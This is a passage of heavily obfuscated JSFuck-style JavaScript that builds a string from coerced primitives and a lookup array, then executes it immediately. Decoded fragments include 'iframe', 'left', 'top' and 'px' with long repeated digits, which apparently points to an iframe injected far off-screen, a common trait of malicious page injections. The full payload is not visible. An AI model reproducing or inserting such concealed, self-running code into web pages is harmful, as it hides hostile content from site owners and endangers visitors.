]+[+[]]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+$[48]+$[13]+([![]]+[][[]])[+!+[]+[+[]]]+([]+[]+[][[]])[+!+[]]+([]+[]+[][[]])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+$[8]+$[46]+$[24]+$[25]+$[25]+$[25]+$[25]+$[25]+$[25]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[+[]]+(!![]+[])[+[]]+$[46]+$[25]+$[5]+(+{}+[]+[]+[]+[]+{})[+!+[]+[+[]]]+(!![]+[])[+[]]+([]+[]+{})[+!+[]]+$[35]+$[46]+$[25]+$[5]+$[34]+$[49]+$[33]+$[36]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[+[]]+(!![]+[])[+!+[]]+(![]+[])[+!+[]]+$[3]+(!![]+[])[!+[]+!+[]+!+[]]+$[49]+$[9]+$[6]+$[50])();